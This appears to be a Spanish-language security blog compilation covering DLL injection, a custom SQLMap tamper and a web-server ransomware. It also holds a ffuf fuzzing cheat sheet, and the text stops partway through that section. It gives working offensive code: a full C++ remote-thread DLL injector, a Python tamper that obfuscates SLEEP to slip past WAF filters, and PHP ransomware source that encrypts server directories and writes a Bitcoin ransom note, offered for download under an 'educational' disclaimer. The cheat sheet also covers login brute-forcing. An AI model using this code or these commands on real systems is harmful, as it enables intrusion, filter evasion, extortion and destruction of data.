Hooking de Funciones: Los atacantes pueden interceptar llamadas a funciones específicas en una DLL legítima y redirigirlas a su propio código malicioso.
Reflective DLL Injection: Permite la carga de una DLL directamente en la memoria sin escribir en el disco, lo que ayuda a evadir la detección basada en el sistema de archivos.
AppInit_DLLs: Utiliza la clave de registro AppInit_DLLs para cargar automáticamente DLLs especificadas en todos los procesos que usan user32.dll.
Hijacking de DLL: Consiste en reemplazar una DLL legítima con una maliciosa en ubicaciones donde el sistema espera encontrar la DLL original.

Ventajas de la Inyección en DLLs

a.) Persistencia: Permite mantener acceso continuo al sistema, incluso después de reinicios o cambios en la configuración de seguridad.

b.) Evasión: Al inyectar código malicioso en procesos legítimos, la actividad maliciosa puede camuflarse, haciendo más difícil su detección por herramientas de seguridad.

c.) Acceso a Funcionalidades del Proceso: El código inyectado puede aprovechar las capacidades y permisos del proceso anfitrión, lo que puede incluir acceso a recursos de red, archivos y más.

Ejemplo de Proceso de Inyección en DLL

Proceso de Inyección en DLL
--------------------------------------

1. Identificación del Proceso Objetivo
   ├── Seleccionar un proceso en ejecución
   │    con privilegios elevados o acceso
   │    a recursos necesarios.
   │
   └──┬──>
      │
2. Inyección de la DLL
   ├── Utilizar técnicas de inyección para
   │    cargar la DLL maliciosa en el
   │    proceso objetivo.
   │
   └──┬──>
      │
3. Ejecución del Código Malicioso
   ├── El código malicioso en la DLL se
   │    ejecuta, permitiendo al atacante
   │    realizar acciones como:
   │    - Exfiltración de datos
   │    - Creación de backdoors adicionales
   │    - Manipulación del sistema
   │
   └──┬──>
      │
4. Mantenimiento de la Persistencia
   └── Asegurar que la DLL permanezca cargada
        y operativa incluso después de reinicios
        o intentos de remediación por parte del
        equipo de seguridad.

Ejemplo Básico de Inyección en DLL via C++

En este ejemplo trataremos de inyectar una DLL en un proceso especificado por su ID de proceso (PID). La DLL se cargará en el proceso objetivo utilizando las funciones OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread y LoadLibrary.

DLL a Inyectar (ejemplo.dll): Creamos una DLL simple la cual será inyectada en el proceso objetivo. Aquí te dejo un ejemplo de una DLL en C++:

// ejemplo.cpp
// Compilar este código en una DLL (ejemplo.dll)
// Omar Salazar
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"DLL Injected!", L"Success", MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Código de Inyección: Este es el código que inyectará la DLL en el proceso objetivo:

// inyector.cpp
// Compilar este código en un exe (inyector.exe)
// Omar Salazar
#include <windows.h>
#include <iostream>
#include <tchar.h>

BOOL InjectDLL(DWORD dwPID, const char* dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
    if (hProcess == NULL) {
        std::cerr << "Failed to open target process." << std::endl;
        return FALSE;
    }

    // Allocate memory in the target process for the DLL path
    LPVOID pRemotePath = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (pRemotePath == NULL) {
        std::cerr << "Failed to allocate memory in target process." << std::endl;
        CloseHandle(hProcess);
        return FALSE;
    }

    // Write the DLL path to the allocated memory
    if (!WriteProcessMemory(hProcess, pRemotePath, dllPath, strlen(dllPath) + 1, NULL)) {
        std::cerr << "Failed to write to target process memory." << std::endl;
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Get the address of LoadLibraryA in kernel32.dll
    LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
    if (pLoadLibraryA == NULL) {
        std::cerr << "Failed to get address of LoadLibraryA." << std::endl;
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Create a remote thread in the target process that calls LoadLibraryA
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryA, pRemotePath, 0, NULL);
    if (hThread == NULL) {
        std::cerr << "Failed to create remote thread in target process." << std::endl;
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Wait for the remote thread to finish
    WaitForSingleObject(hThread, INFINITE);

    // Clean up
    VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return TRUE;
}

int main() {
    DWORD pid;
    char dllPath[MAX_PATH];

    std::cout << "Enter the PID of the target process: ";
    std::cin >> pid;

    std::cout << "Enter the full path of the DLL to inject: ";
    std::cin >> dllPath;

    if (InjectDLL(pid, dllPath)) {
        std::cout << "DLL injection succeeded." << std::endl;
    } else {
        std::cout << "DLL injection failed." << std::endl;
    }

    return 0;
}

Pasos para Ejecutar el Ejemplo

Compila la DLL: Usa un compilador como Visual Studio para compilar ejemplo.cpp ---> ejemplo.dll
Compila el inyector: Compilar injector.cpp en un ejecutable inyector.cpp ---> inyector.exe
Ejecuta el Inyector:
- Ejecuta el proceso objetivo en el que deseas inyectar la DLL.
- Ejecuta el inyector (inyector.exe) y proporciona el PID del proceso objetivo y la ruta completa a example.dll.

Ejemplo practico

Enter the PID of the target process: 1234
Enter the full path of the DLL to inject: C:\path\to\ejemplo.dll

Si el inyector tiene éxito, verás el mensaje "DLL injection succeeded." en la consola del inyector y un cuadro de mensaje"DLL injection failed.".

Una vez que se ejecute el inyector de DLL, el flujo de eventos sería el siguiente:

 +---------------------------------------------------------+
 | Apertura del Proceso Objetivo                           |
 |---------------------------------------------------------|
 | El inyector abre el proceso objetivo utilizando         |
 | la función OpenProcess. Si tiene éxito, obtiene         |
 | un handle al proceso.                                   |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Asignación de Memoria en el Proceso Objetivo            |
 |---------------------------------------------------------|
 | El inyector asigna memoria en el espacio de             |
 | direcciones del proceso objetivo utilizando             |
 | VirtualAllocEx. Esta memoria será utilizada             |
 | para almacenar la ruta de la DLL que se va a inyectar.  |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Escritura de la Ruta de la DLL en la Memoria Asignada   |
 |---------------------------------------------------------|
 | El inyector escribe la ruta completa de la DLL en       |
 | la memoria asignada del proceso objetivo utilizando     |
 | WriteProcessMemory.                                     |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Obtención de la Dirección de LoadLibraryA               |
 |---------------------------------------------------------|
 | El inyector obtiene la dirección de la función          |
 | LoadLibraryA en kernel32.dll. Esta función se           |
 | utilizará para cargar la DLL en el proceso objetivo.    |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Creación de un Hilo Remoto                              |
 |---------------------------------------------------------|
 | El inyector crea un hilo remoto en el proceso           |
 | objetivo utilizando CreateRemoteThread. Este hilo       |
 | ejecuta la función LoadLibraryA con la ruta de          |
 | la DLL como argumento.                                  |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Carga de la DLL                                         |
 |---------------------------------------------------------|
 | La función LoadLibraryA en el hilo remoto carga         |
 | la DLL en el espacio de direcciones del proceso         |
 | objetivo. Esto ejecuta el código de la función          |
 | DllMain de la DLL.                                      |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Mensaje de Éxito                                        |
 |---------------------------------------------------------|
 | Si la DLL se ha cargado correctamente y se ha ejecutado |
 | su DllMain, el código de la DLL puede realizar acciones |
 | adicionales, como mostrar un mensaje. En el ejemplo     |
 | proporcionado, la DLL muestra un mensaje con MessageBox |
 | cuando se inyecta.                                      |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Limpieza                                                |
 |---------------------------------------------------------|
 | El inyector espera a que el hilo remoto termine y luego |
 | libera la memoria asignada en el proceso objetivo.      |
 | Finalmente, cierra los handles abiertos.                |
 +---------------------------------------------------------+

Cómo Crear un Tamper Personalizado para SQLMap

Omar Salazar — Fri, 03 Apr 2026 00:00:00 GMT

En esta pequeña guía vamos a ver cómo podemos crear un tamper personalizado para una de las herramientas más usadas en inyecciones de SQLi, SQLMap. En el ejemplo planteamos un escenario para "evadir" filtros de seguridad avanzados (WAF) que buscan patrones específicos en los payloads de inyección SQL, utilizando un payload de tipo SLEEP. Este payload introduce un retraso temporal en la respuesta del servidor para identificar vulnerabilidades de inyección SQL ciega basadas en tiempo.

Introducción

SQLMap es una de las herramientas más poderosas y usadas para automatizadar, detectar y explotar vulnerabilidades de inyección SQL en aplicativos web. Sin embargo, muchas aplicaciones modernas ahora utilizan filtros avanzados que buscan bloquear patrones específicos en los payloads usados para realizar inyección SQL, lo que puede dificultar o impedir que SQLMap avance durante la explotación de dicha vulnerabilidad.

Para tener una oportunidad de saltar o evadir estas barreras, se utilizan tampers, que son scripts personalizados que modifican los payloads antes de enviarlos al servidor el mismo SQLMap posee algunos. Es aqui donde nos vamos a enfocar, vamos crear un tamper que obfusque la palabra clave SLEEP, utilizada en payloads de inyección SQL ciegas basadas en tiempo, para tratar de evadir los filtros que detectan y bloquean esta palabra clave.

Descripción del Escenario

Vamos a imaginar que estamos realizando una prueba en una aplicación web que tiene un parámetro vulnerable para inyección SQL. Para determinar si existe vulnerabilidad, decidimos utilizar un payload de tipo SLEEP, el cual introduce un retraso en la respuesta del servidor, lo que te permite inferir si la inyección SQL es exitosa en el tiempo de respuesta del servidor.

Payload Estándar

Un payload estándar para este propósito podría ser:

1' AND SLEEP(5) --

El payload va intentar introducir un retraso de 5 segundos en la respuesta del servidor si la inyección SQL es exitosa.

Problema

El aplicativo web utiliza filtros de seguridad que detectan y bloquean payloads que contienen la palabra clave específica como SLEEP. Lo que significaría que el payload anterior será bloqueado, impidiendo que SQLMap realice la prueba de inyección SQL.

Solución

Para tratar de evadir este filtro, tenemos que modificar el payload estándar de manera que la palabra clave SLEEP no sea reconocida por el filtro, pero al mismo tiempo mantenga su funcionalidad en la inyección SQL. Esto lo podemos lograr mediante el uso de un tamper que ofusca la palabra clave utilizando técnicas como la codificación hexadecimal.

Creación del tamper

Vamos a desarrollar un tamper en Python que codifica la palabra clave SLEEP usando una representación hexadecimal, para lograr evadir filtros de manera efectiva que buscan esta palabra clave específica durante la inyección SQL.

Paso 1: Configuración Inicial

Entorno de Trabajo: Nos aseguramos de que SQLMap este descargado y un entorno de desarrollo Python bien configurado.
Directorio del tamper: Vamos a crear un directorio dedicado para guardar tus tampers si aún no lo tienes. Por ejemplo:
```
mkdir -p ~/SQLMap/misTamper
```
Archivo __init__.py: Dentro del directorio, creamos un archivo vacío llamado __init__.py, esto nos servirá para que Python reconozca el directorio como un paquete.
```
touch ~~/SQLMap/misTamper__init__.py
```

Paso 2: Desarrollo del Script

Creamos un archivo llamado sleep_tamper.py dentro del directorio de misTamper el cual lo creamos previamente, establecemos la prioridad del script en PRIORITY.NORMAL. Esto es para no romper la lógica de ejecución de SQLMap, ya que la herramienta prioriza otras funciones.

from lib.core.enums import PRIORITY
import re

__priority__ = PRIORITY.NORMAL

Definimos la función hex_encode, la cual toma una cadena de texto como entrada y devuelve su representación en código hexadecimal URL-encoded.

    def hex_encode(text):    
    return ''.join(['%{:02X}'.format(ord(c)) for c in text])

Por último, definimos la función tamper, donde va toda la lógica de nuestro script, ofuscando la palabra clave SLEEP en una cadena (payload) usando la función hex_encode.

def tamper(payload, **kwargs):

    keywords = ['SLEEP']

    for word in keywords:
        pattern = re.compile(re.escape(word), re.IGNORECASE)
        payload = pattern.sub(lambda match: hex_encode(match.group()), payload)
    
    return payload

Tomando toda la estructura de nuestro script, logramos ofuscar la palabra clave SLEEP mediante la conversión a una representación hexadecimal para evadir filtros o detección. Mientras, la función hex_encode convierte texto a su representación hexadecimal URL-encoded, y la función tamper utiliza expresiones regulares para buscar palabras clave en un texto y codificarlas en hexadecimal.

El tamper completo quedaría de la siguiente manera.

#!/usr/bin/env python
from lib.core.enums import PRIORITY
import re

__priority__ = PRIORITY.NORMAL

def hex_encode(text):
    """
    Convierte una cadena de texto en su representación hexadecimal URL-encoded.
    
    Ejemplo:
    >>> hex_encode("SLEEP")
    '%53%4C%45%45%50'
    """
    return ''.join(['%{:02X}'.format(ord(c)) for c in text])

def tamper(payload, **kwargs):
    """
    Obfusca la palabra clave SLEEP utilizando codificación hexadecimal para evadir filtros de detección.
    
    >>> tamper("SLEEP(5)")
    "%53%4C%45%45%50(5)"
    """
    # Definir las palabras clave a codificar
    keywords = ['SLEEP']

    # Utilizar expresiones regulares para reemplazar las palabras clave
    for word in keywords:
        pattern = re.compile(re.escape(word), re.IGNORECASE)
        payload = pattern.sub(lambda match: hex_encode(match.group()), payload)
    
    return payload

Implementación y Uso

Con nuestro nuevo tamper creado, ahora podemos utilizarlo en SQLMap para evadir el filtro que bloquea la palabra clave SLEEP.

Ejecución de SQLMap con Nuestro Tamper

Ejecutamos el siguiente comando en la terminal, reemplazando https://ejemplo.com/?id=vuln con la URL de tu objetivo y el id con el parámetro vulnerable.

SQLMap -u "https://ejemplo.com/?id=vuln" -p id --tamper=sleep_tamper.py --technique=T --time-sec=5 -v3

Desglose del Comando

-u: Especifica la URL objetivo.
-p: Indica el parámetro vulnerable.
--tamper: Indica el tamper a utilizar (sleep_tamper.py).
--technique=T: Especifica la técnica de inyección SQL ciega basada en tiempo.
--time-sec=5: Define el tiempo de espera en segundos para detectar retrasos.
-v3: Aumenta el nivel de verbosidad para monitorear los payloads enviados.

Verificación de la Evasión Parámetro v3

Para verificar que el tamper está realizando su función correctamente, podemos aumentar el nivel de verbosidad (-v3) y observar los payloads que SQLMap está enviando. Deberíamos poder observar que la palabra clave SLEEP está siendo reemplazada por su versión codificada en hexadecimal %53%4C%45%45%50(5).

Ejemplo de Salida

[20:45:12] [INFO] testing 'AND SLEEP(5)'
[20:45:12] [PAYLOAD] AND %53%4C%45%45%50(5)

En el ejemplo de salida el payload original AND SLEEP(5) ha sido modificado a AND %53%4C%45%45%50(5), lo que indica que el tamper ha funcionado correctamente.

Prueba de Funcionamiento

Al ejecutar el comando, SQLMap intentará inyectar el payload ofuscado del tamper creado. Si la inyección SQL es exitosa, deberíamos notar un retraso en la respuesta del servidor de aproximadamente 5 segundos.

Conclusión del Proceso

El desarrollo de tampers personalizados es una técnica efectiva cuando nos enfrentamos a entornos con mecanismos de seguridad que usan algún tipo de filtro.

Esta guía puede aplicarse a otras palabras clave y técnicas de ofuscación; esto depende de las necesidades específicas y de la prueba de penetración a la que nos estemos enfrentando. La comprensión y capacidad para personalizar tampers de SQLMap nos ayudaria significativamente la efectividad y explotación de vulnerabilidades.

Referencias

Ransomware Dedicado a Servidores Web

Omar Salazar — Sat, 04 Apr 2026 00:00:00 GMT

Nota Importante

oWoWare ransomware desarrollado con fines educativos, simulación y demostración de ataques.<br> El autor no se hace responsable del mal uso de la misma.

oWoWare es un ransomware enfocado en servidores web, desarrollado en PHP. Proporciona una interfaz segura para la administración de la herramienta y la ejecución de comandos en la terminal. Con funcionalidades de cifrado y descifrado de archivos usando AES-256-CBC (Cipher Block Chaining con una clave de 256 bits), así como una terminal integrada, oWoWare está diseñado para realizar pruebas técnicas y de concientización sobre la protección ante ataques tipo ransomware.

POC Completo Video

Descripción

1. Cifrado de archivos:

Tipo de cifrado usado:
- Se utiliza AES-256-CBC (Cipher Block Chaining con una clave de 256 bits), que es un algoritmo de cifrado simétrico.
- La clave de cifrado debe tener al menos 32 caracteres para garantizar la seguridad en este modo.
- El código también genera un IV (Vector de Inicialización) usando openssl_random_pseudo_bytes() que se concatena al contenido cifrado y se almacena junto al archivo.

$iv_length = openssl_cipher_iv_length('AES-256-CBC');
$iv = openssl_random_pseudo_bytes($iv_length);

$encrypted_contents = openssl_encrypt($file_contents, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
$final_content = $iv . $encrypted_contents;
file_put_contents($file_path, $final_content);

Proceso de cifrado:
- Cada archivo en el directorio especificado es cifrado, omitiendo archivos llamados index.html o index.php.
- El contenido cifrado incluye el IV y el contenido cifrado concatenados. Este contenido cifrado reemplaza el archivo original.

function encrypt_directory($target_dir, $key, &$processed_files, &$error_files) {
    // Iterar sobre los archivos y subdirectorios
    foreach ($iterator as $item) {
        if ($item->isFile()) {
            // Cifrado del contenido del archivo
            $iv = openssl_random_pseudo_bytes($iv_length);
            $encrypted_contents = openssl_encrypt($file_contents, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
            $final_content = $iv . $encrypted_contents;
            file_put_contents($file_path, $final_content);
        }
    }
}

Manejo de errores:
- El código maneja errores en la lectura de archivos, en la generación del IV, el proceso de cifrado, y la escritura de los archivos cifrados.
- Los errores se almacenan en un arreglo $error_files, y los archivos procesados con éxito se listan en $processed_files.

2. Descifrado de archivos:

Proceso de descifrado:
- El IV se extrae del contenido cifrado y se usa para descifrar los archivos utilizando la misma clave simétrica (AES-256-CBC).
- Los archivos descifrados se reescriben con el contenido original, restaurando el archivo.
Manejo de errores:
- Los errores en la lectura, descifrado y escritura de archivos se manejan de forma similar al proceso de cifrado.

     function decrypt_directory($target_dir, $key, &$processed_files, &$error_files) {
    foreach ($iterator as $item) {
        if ($item->isFile()) {
            $iv = substr($file_contents, 0, $iv_length);
            $encrypted_contents = substr($file_contents, $iv_length);
            $decrypted_contents = openssl_decrypt($encrypted_contents, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
            file_put_contents($file_path, $decrypted_contents);
        }
    }
}

3. Manejo del Login y Seguridad:

Autenticación:
- El sistema de login compara un nombre de usuario predefinido (admin) y una contraseña almacenada como un hash bcrypt.
- El hash almacenado utiliza bcrypt con un costo de trabajo de 15, lo que garantiza que los intentos de fuerza bruta sean lentos.
- Se protege contra ataques de fuerza bruta al limitar los intentos de inicio de sesión a 5 fallidos antes de bloquear al usuario por 15 minutos.
Tokens CSRF (Cross-Site Request Forgery):
- Para proteger contra ataques CSRF, se genera y valida un token CSRF en cada solicitud POST.
Regeneración de ID de sesión:
- Una vez que el usuario se autentica con éxito, se genera una nueva sesión con session_regenerate_id(true) para evitar ataques de fijación de sesión.

     define('USERNAME', 'admin');
define('PASSWORD_HASH', '$2a$15$xEbegd2Cf26u2/2dw4LLXu0uJbqifWGFWXXh0gBkTDoImJOCJ5Ogu');

if ($username === USERNAME && password_verify($password, PASSWORD_HASH)) {
    session_regenerate_id(true);
    $_SESSION['authenticated'] = true;
    $_SESSION['login_attempts'] = 0;
    unset($_SESSION['locked_until']);
}

4. Cifrado de Archivos según Directorio:

El usuario puede especificar un directorio para cifrar o descifrar sus archivos. La ruta del directorio se valida antes de proceder.
El código utiliza RecursiveDirectoryIterator y RecursiveIteratorIterator para iterar sobre los archivos y directorios dentro del directorio objetivo.

5. Archivos creados al cifrar el directorio:

Archivos index.html o index.php:
- Se genera o actualiza un archivo index.php o index.html en cada directorio cifrado con un mensaje indicando que los archivos han sido cifrados.
- El contenido del archivo incluye un mensaje que simula un ataque de ransomware, pidiendo $600 en Bitcoin a una dirección específica.

function create_index_file($dir_path, &$error_files) {
    $content = "
<pre><center><b>
         __      ____      __     
        / /     / __ \     \ \    
       / / ___ | |  | | ___ \ \   
      > / / _ \| |  | |/ _ \ > \  
     / ^ ( (_) )\ \/ /( (_) ) ^ \ 
    /_/ \_\___(___||___)___/_/ \_\
                     oWoWare V.1.0
<h2>Ooops, your files have been encrypted!</h2>
Send $600 worth of bitcoin to this address:
bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf8ch7
</pre></center></b>";
    file_put_contents($index_file, $content);
}

6. Funcionalidad de la Terminal Integrada:

El sistema tiene una terminal integrada que permite ejecutar comandos desde el navegador.
Los comandos permitidos están restringidos por una lista blanca ($allowed_commands) que incluye comandos comunes de administración de sistemas como ls, cd, whoami, ping, entre otros.
Los resultados de los comandos ejecutados se muestran en la interfaz de usuario en tiempo real.
Cada comando ejecutado se registra en un archivo de log en el directorio logs/comandos.log.

$allowed_commands = ['ls', 'pwd', 'cat', 'cp', 'mv', 'rm', 'mkdir', 'chmod', 'chown', 'ping', 'top', 'df', 'uname', ...];

if (in_array($base_command, $allowed_commands)) {
    $safe_command = escapeshellcmd($command);
    $output = shell_exec($safe_command . ' 2>&1');
}

7. Manejo de la Contraseña para Cifrar/Descifrar:

El usuario debe proporcionar una clave de cifrado (mínimo de 32 caracteres) para cifrar o descifrar los archivos.
Si la clave es menor a 32 caracteres, se muestra un error indicando que la clave es insuficiente.

if (strlen($key) < 32) {
    $error_cifrado = "The key must be at least 32 characters for AES-256.";
}

Descargar oWoWare

🦠 oWoWare GitHub Repository

⚠️ Advertencia: Uso en Ambientes Controlados

Descripción de la Herramienta

Esta herramienta está diseñada con fienes educativos su función principal es el cifrado y descifrado de archivos, así como para la ejecución de comandos en una terminal integrada. Proporciona funcionalidades avanzadas para manejar archivos a nivel de sistema, incluyendo la posibilidad de cifrar directorios completos utilizando el algoritmo AES-256-CBC. También incluye una interfaz para la ejecución de comandos directamente en el servidor.

Riesgos Potenciales

1. Cifrado de Archivos

El cifrado de archivos es una operación extremadamente delicada. Si las claves de cifrado se pierden o gestionan incorrectamente, los archivos pueden quedar irrecuperables. Además, cualquier mal uso del sistema de cifrado podría comprometer la integridad de los archivos o la seguridad de los datos.

2. Ejecución de Comandos

La terminal integrada permite la ejecución de una lista predefinida de comandos del sistema. Aunque se han tomado precauciones para limitar los comandos permitidos, un mal uso de esta funcionalidad podría llevar a la modificación o eliminación accidental de archivos del servidor.

Recomendaciones de Uso

1. Ambiente Controlado

Esta herramienta debe ser utilizada exclusivamente en entornos controlados, como servidores de desarrollo o entornos de prueba. Nunca debe ser implementada en servidores de producción o en sistemas accesibles al público sin las debidas precauciones de seguridad.

2. Acceso Restringido

Asegúrate de que solo usuarios con privilegios adecuados tengan acceso a esta herramienta. El uso de autenticación por sesión y control de intentos de login es fundamental para evitar accesos no autorizados.

3. Copia de Seguridad

Antes de ejecutar cualquier operación de cifrado o descifrado, realiza copias de seguridad de los archivos y directorios involucrados. El cifrado mal gestionado puede resultar en la pérdida total de datos si no se cuenta con la clave correcta para descifrar.

4. Seguridad de la Clave

Para el cifrado de archivos, la clave debe ser de al menos 32 caracteres. Nunca compartas esta clave en entornos inseguros, y utiliza canales cifrados si necesitas transmitirla a otro usuario.

Términos de Uso

Responsabilidad: El desarrollador no se responsabiliza por daños, pérdidas o modificaciones no deseadas de archivos que puedan derivarse del uso inapropiado de esta herramienta.
Propósito Educativo: Esta herramienta debe ser utilizada principalmente con fines educativos o en entornos cerrados de prueba.

Nota importante: Si decides usar esta herramienta en un entorno de producción, hazlo bajo tu propio riesgo y asegúrate de realizar auditorías exhaustivas de seguridad.

Ffuf CheatSheet

Omar Salazar — Sun, 05 Apr 2026 00:00:00 GMT

Guía Completa de Comandos de ffuf: Potencia tu Fuzzing Web

Durante las pruebas basadas en aplicativos web, la enumeración y el fuzzing es una de las técnicas esenciales para descubrir puntos débiles en aplicaciones. Una de las herramientas más potentes y versátiles para realizar este tipo de tareas es ffuf (Fuzz Faster U Fool). Esta guía completa te ayudara a tener una visión más detallada de los comandos de ffuf, acompañados de explicaciones contextuales para que puedas aprovechar al máximo sus capacidades.

¿Qué es ffuf?

ffuf es una herramienta escrita en Go para realizar fuzzing web de manera rápida y flexible. Permite realizar pruebas exhaustivas de enumeración de directorios, archivos, subdominios, vhosts, parámetros HTTP y mucho más. Su capacidad para manejar múltiples wordlists y su rendimiento optimizado lo convierten en una de las herramientas preferidas en el mundo de las pruebas de seguridad.

Uso Básico

Fuzz de Archivos/Rutas

El fuzzing de archivos o rutas es una de las funcionalidades más comunes de ffuf. Permite descubrir directorios o archivos ocultos en un servidor web al reemplazar la palabra clave FUZZ con cada entrada de una wordlist.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-w wordlist.txt: Especifica la wordlist a utilizar.
-u https://host.name/FUZZ: Define la URL objetivo donde FUZZ será reemplazado por cada palabra de la wordlist.

Fuzz de Extensiones de Archivos

Este comando es útil cuando necesitamos descubrir archivos con diferentes extensiones, como .php, .html, .js, etc.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/indexFUZZ

Descripción:

Reemplaza FUZZ con las extensiones proporcionadas en la wordlist para buscar archivos como index.php, index.html,etc.

Nombres de Archivos

Permite realizar fuzzing en nombres de archivos específicos con una extensión determinada, útil para encontrar scripts vulnerables o páginas administrativas.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/blog/FUZZ.php

Descripción:

Busca archivos PHP en el directorio /blog/ cuyos nombres están en la wordlist.

Usar la Salida de un Comando como Wordlist

Aprovechar la salida de comandos del sistema como una fuente dinámica de entradas para el fuzzing.

Comando:

ffuf -c -w <(seq 1 1000) -u https://host.name/api/users/FUZZ

Descripción:

-c: Ejecuta el comando en un shell comó bandera para habilitar la salida colorizada.
-w <(seq 1 1000): Utiliza la salida del comando seq 1 1000 como wordlist, generando números del 1 al 1000.
-u https://host.name/api/users/FUZZ: Busca endpoints de usuarios con IDs numéricos.

Fuzzing Recursivo

Permite realizar fuzzing de forma recursiva aplicando múltiples niveles de profundidad, descubriendo rutas ocultas en estructuras de directorios complejas.

Comando:

ffuf -recursion -recursion-depth 3 -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-recursion: Habilita el modo de fuzzing recursivo.
-recursion-depth 3: Define la profundidad máxima de recursión.
Descubre rutas ocultas hasta tres niveles de profundidad.

Establecer Cookies

Podemos enviar cookies personalizadas con cada solicitud, lo que puede ser útil para acceder a áreas protegidas o mantener sesiones.

Comando:

ffuf -b "NAME1=VALUE1; NAME2=VALUE2" -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-b "NAME1=VALUE1; NAME2=VALUE2": Define las cookies a enviar con cada solicitud.

Wordlists Múltiples

Modo Clusterbomb

El modo clusterbomb intenta todas las combinaciones posibles de valores desde múltiples wordlists. Es ideal para escenarios donde se necesitas combinar diferentes parámetros, como usuarios y contraseñas.

Probar Diferentes Usuarios y Contraseñas

Este comando es útil para realizar ataques de fuerza bruta en formularios de inicio de sesión, combinando usuarios y contraseñas de dos wordlists diferentes.

Comando:

ffuf -w /path/to/users.txt:USER -w /path/to/passwords.txt:PASS -u https://host.name/login?username=USER&password=PASS -mode clusterbomb

Descripción:

-w users.txt:USER: Define la wordlist de usuarios para el marcador USER.
-w passwords.txt:PASS: Define la wordlist de contraseñas para el marcador PASS.
--mode clusterbomb: Activa el modo clusterbomb para combinar usuarios y contraseñas.

Fuzzing de Múltiples Partes de una Solicitud JSON

Permite fuzzear múltiples campos dentro de una estructura JSON, ideal para realizar pruebas en APIs que aceptan datos complejos.

Comando:

ffuf -w /path/to/usernames.txt:U -w /path/to/passwords.txt:P -X POST -d '{"username":"U","password":"P"}' -H 'Content-Type: application/json' -u https://host.name/api/login

Descripción:

-w usernames.txt:U: Wordlist para nombres de usuario.
-w passwords.txt:P: Wordlist para contraseñas.
-X POST: Define el método HTTP como POST.
-d '{"username":"U","password":"P"}': Define el cuerpo de la solicitud JSON, reemplazando U y P.
-H 'Content-Type: application/json': Establece el encabezado Content-Type.

Fuzzear Directorios y Nombres de Archivos Simultáneamente

Podemos combinar la enumeración de directorios y archivos para descubrir rutas completas y archivos específicos en una estructura de directorios.

Comando:

ffuf -w /path/to/dirs.txt:DIR -w /path/to/files.txt:FILE -u https://host.name/DIR/FILE

Descripción:

-w dirs.txt:DIR: Wordlist para directorios.
-w files.txt:FILE: Wordlist para archivos.
Reemplaza DIR y FILE simultáneamente para construir rutas completas.

Modo Pitchfork

El modo pitchfork envía combinaciones sincronizadas de valores de diferentes wordlists, tomando una entrada de cada wordlist en cada iteración.

Probar Combinaciones Sincronizadas de Usuarios y Contraseñas

Comando:

ffuf -w /path/to/users.txt:USER -w /path/to/passwords.txt:PASS -u https://host.name/login?username=USER&password=PASS --mode pitchfork

Descripción:

Similar al modo clusterbomb, pero en lugar de todas las combinaciones posibles, toma una entrada de cada wordlist en paralelo.

Subdominios y VHosts

Subdominios

El fuzzing de subdominios, ffuf también nos ayuda a descubrir subdominios ocultos que podrían estar expuestos y vulnerables.

Comando:

ffuf -w /path/to/wordlist.txt -u https://FUZZ.host.name/

Descripción:

Reemplaza FUZZ con cada entrada de la wordlist para descubrir subdominios como admin.host.name, dev.host.name, etc.

VHosts

Fuzzear VHosts (Virtual Hosts) nos permite identificar configuraciones de servidores que pueden servir contenido diferente o estar expuestos a diferentes vulnerabilidades.

Comando:

ffuf -w /path/to/wordlist.txt -u http://host.name/ -H 'Host: FUZZ.host.name'

Descripción:

-H 'Host: FUZZ.host.name': Define el encabezado Host con cada entrada de la wordlist para descubrir VHosts como api.host.name, mail.host.name, etc.

Parámetros HTTP

Nombres de Parámetros - GET

Fuzzear nombres de parámetros en solicitudes GET puede revelar parámetros ocultos o sensibles.

Comando:

ffuf -w /path/to/wordlist.txt -u http://host.name/index.php?FUZZ=key

Descripción:

Reemplaza FUZZ con nombres de parámetros como user, id, token, etc., para descubrir cómo el servidor maneja estos parámetros.

Nombres de Parámetros - POST

Similar al fuzzing de parámetros GET, pero en solicitudes POST, donde los parámetros se envían en el cuerpo de la solicitud.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/index.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded'

Descripción:

